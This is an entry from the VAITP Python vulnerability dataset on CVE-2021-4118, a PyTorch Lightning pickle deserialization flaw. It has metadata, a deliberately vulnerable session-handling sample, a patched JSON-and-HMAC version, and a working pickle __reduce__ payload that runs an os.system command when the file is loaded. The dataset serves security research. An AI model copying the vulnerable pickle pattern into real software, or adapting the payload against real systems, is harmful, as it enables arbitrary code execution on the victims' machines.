VAITP Dataset

← Back to the dataset

CVE-2021-4118

PyTorch Lightning: Untrusted Data Deserialization Vulnerability

  • CVSS 7.8
  • CWE-502 Deserialization of Untrusted Data
  • Input Validation and Sanitization
  • Remote

pytorch-lightning is vulnerable to Deserialization of Untrusted Data

CVSS base score
7.8
Published
2021-12-23
OWASP
A08 Software and Data Integrity Failures
Orthogonal defect classification
Timing/Serialization
Code defect classification
Serialization Issues
Category
Input Validation and Sanitization
Subcategory
Insecure Parsing or Deserialization
Accessibility scope
Remote
Impact
Arbitrary Code Execution
Affected component
PyTorch
Fixed by upgrading
Yes

Solution

Update PyTorch Lightning to version 1.6.0 or higher.

Vulnerable code sample

import pickle
import base64
import os

class UserSession:
    """User session class for demonstration"""
    def __init__(self, user_id, username, is_admin=False):
        self.user_id = user_id
        self.username = username
        self.is_admin = is_admin

def load_user_session(session_cookie):
    """Load user session from cookie - VULNERABLE to pickle RCE"""
    try:
        # VULNERABILITY: Using pickle.loads() on untrusted data
        # This allows remote code execution through malicious payloads
        session_data = base64.b64decode(session_cookie)
        
        # DANGEROUS: pickle.loads can execute arbitrary Python code
        user_session = pickle.loads(session_data)
        
        return user_session
    except Exception as e:
        print(f"Session loading failed: {e}")
        return None

def save_user_data(user_data, filename):
    """Save user data to file - VULNERABLE"""
    try:
        # VULNERABILITY: Pickling and saving untrusted data
        with open(filename, 'wb') as f:
            # This creates files that can execute code when loaded
            pickle.dump(user_data, f)
        return True
    except Exception:
        return False

def load_user_data(filename):
    """Load user data from file - VULNERABLE"""
    try:
        with open(filename, 'rb') as f:
            # VULNERABILITY: Loading pickled data without validation
            # Malicious pickle files can execute arbitrary code
            user_data = pickle.load(f)
        return user_data
    except Exception:
        return None

# Example of how this vulnerability can be exploited:
# Malicious payload that executes system commands:
# malicious_payload = pickle.dumps(os.system('whoami'))
# When unpickled, this executes the system command

# Creating a malicious session cookie:
# evil_session = base64.b64encode(malicious_payload)
# load_user_session(evil_session)  # Executes the malicious code

Patched code sample

import json
import hmac
import hashlib
import secrets
import base64
from typing import Dict, Any, Optional
from dataclasses import dataclass, asdict

@dataclass
class UserSession:
    """Secure user session class"""
    user_id: int
    username: str
    is_admin: bool = False
    
    def to_dict(self) -> Dict[str, Any]:
        """Convert to dictionary for JSON serialization"""
        return asdict(self)
    
    @classmethod
    def from_dict(cls, data: Dict[str, Any]) -> 'UserSession':
        """Create from dictionary with validation"""
        required_fields = {'user_id', 'username'}
        if not all(field in data for field in required_fields):
            raise ValueError("Missing required fields")
        
        return cls(
            user_id=int(data['user_id']),
            username=str(data['username']),
            is_admin=bool(data.get('is_admin', False))
        )

class SecureSessionManager:
    """Secure session manager using JSON and HMAC instead of pickle"""
    
    def __init__(self, secret_key: str):
        if not secret_key or len(secret_key) < 32:
            raise ValueError("Secret key must be at least 32 characters")
        self.secret_key = secret_key.encode('utf-8')
    
    def create_session_cookie(self, user_session: UserSession) -> str:
        """Create secure session cookie with HMAC signature"""
        try:
            # Use JSON instead of pickle - only allows safe data types
            session_data = json.dumps(user_session.to_dict(), sort_keys=True)
            
            # Create HMAC signature for integrity verification
            signature = hmac.new(
                self.secret_key,
                session_data.encode('utf-8'),
                hashlib.sha256
            ).hexdigest()
            
            # Combine data and signature
            signed_data = f"{session_data}:{signature}"
            
            # Base64 encode for cookie storage
            return base64.b64encode(signed_data.encode('utf-8')).decode('utf-8')
            
        except Exception as e:
            print(f"Cookie creation failed: {e}")
            return None
    
    def load_user_session(self, session_cookie: str) -> Optional[UserSession]:
        """Securely load user session with integrity verification"""
        try:
            # Decode base64
            try:
                decoded_data = base64.b64decode(session_cookie).decode('utf-8')
            except Exception:
                return None
            
            # Split data and signature
            if ':' not in decoded_data:
                return None
            
            session_data, provided_signature = decoded_data.rsplit(':', 1)
            
            # Verify HMAC signature
            expected_signature = hmac.new(
                self.secret_key,
                session_data.encode('utf-8'),
                hashlib.sha256
            ).hexdigest()
            
            # Use constant-time comparison to prevent timing attacks
            if not hmac.compare_digest(provided_signature, expected_signature):
                return None
            
            # Parse JSON data (safe deserialization)
            try:
                session_dict = json.loads(session_data)
            except json.JSONDecodeError:
                return None
            
            # Create UserSession object with validation
            return UserSession.from_dict(session_dict)
            
        except Exception as e:
            print(f"Session loading failed: {e}")
            return None
    
    def save_user_data_secure(self, user_data: Dict[str, Any], filename: str) -> bool:
        """Securely save user data using JSON"""
        try:
            # Validate filename
            if not self._is_safe_filename(filename):
                return False
            
            # Validate data structure
            if not isinstance(user_data, dict):
                return False
            
            # Use JSON instead of pickle
            with open(filename, 'w', encoding='utf-8') as f:
                json.dump(user_data, f, indent=2)
            
            return True
            
        except Exception as e:
            print(f"Save failed: {e}")
            return False
    
    def load_user_data_secure(self, filename: str) -> Optional[Dict[str, Any]]:
        """Securely load user data using JSON"""
        try:
            # Validate filename
            if not self._is_safe_filename(filename):
                return None
            
            # Load JSON data (safe deserialization)
            with open(filename, 'r', encoding='utf-8') as f:
                user_data = json.load(f)
            
            # Validate loaded data
            if not isinstance(user_data, dict):
                return None
            
            return user_data
            
        except (json.JSONDecodeError, FileNotFoundError, IOError) as e:
            print(f"Load failed: {e}")
            return None
    
    def _is_safe_filename(self, filename: str) -> bool:
        """Validate filename for security"""
        if not filename or len(filename) > 255:
            return False
        
        # Prevent path traversal
        if '..' in filename or filename.startswith('/'):
            return False
        
        # Only allow safe characters
        import re
        if not re.match(r'^[a-zA-Z0-9._-]+$', filename):
            return False
        
        return True

# Secure usage example:
session_manager = SecureSessionManager("your-very-secure-secret-key-here-32chars")

# Create a user session
user = UserSession(user_id=123, username="john_doe", is_admin=False)

# Create secure cookie
secure_cookie = session_manager.create_session_cookie(user)

# Load session securely
loaded_session = session_manager.load_user_session(secure_cookie)

# Secure file operations
user_data = {"preferences": {"theme": "dark"}, "last_login": "2024-01-01"}
session_manager.save_user_data_secure(user_data, "user_123.json")
loaded_data = session_manager.load_user_data_secure("user_123.json")

# Key security improvements:
# 1. JSON instead of pickle - no code execution possible
# 2. HMAC signatures - prevents tampering
# 3. Input validation - validates all data
# 4. Safe file operations - prevents path traversal
# 5. Proper error handling - no information leakage

Payload

#malicious_payload.py
import pickle
import os

class Exploit:
    def __reduce__(self):
        # When deserialized, this returns a callable (os.system) and its arguments.
        # For demonstration, it executes a simple echo command.
        return (os.system, ('echo "Exploited CVE-2021-4118 demonstration"',))

# Serialize the malicious object into a file.
with open('malicious.pkl', 'wb') as f:
    pickle.dump(Exploit(), f)

Cite this entry

@misc{vaitp:cve20214118,
  title        = {{PyTorch Lightning: Untrusted Data Deserialization Vulnerability}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2021},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2021-4118},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2021-4118/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::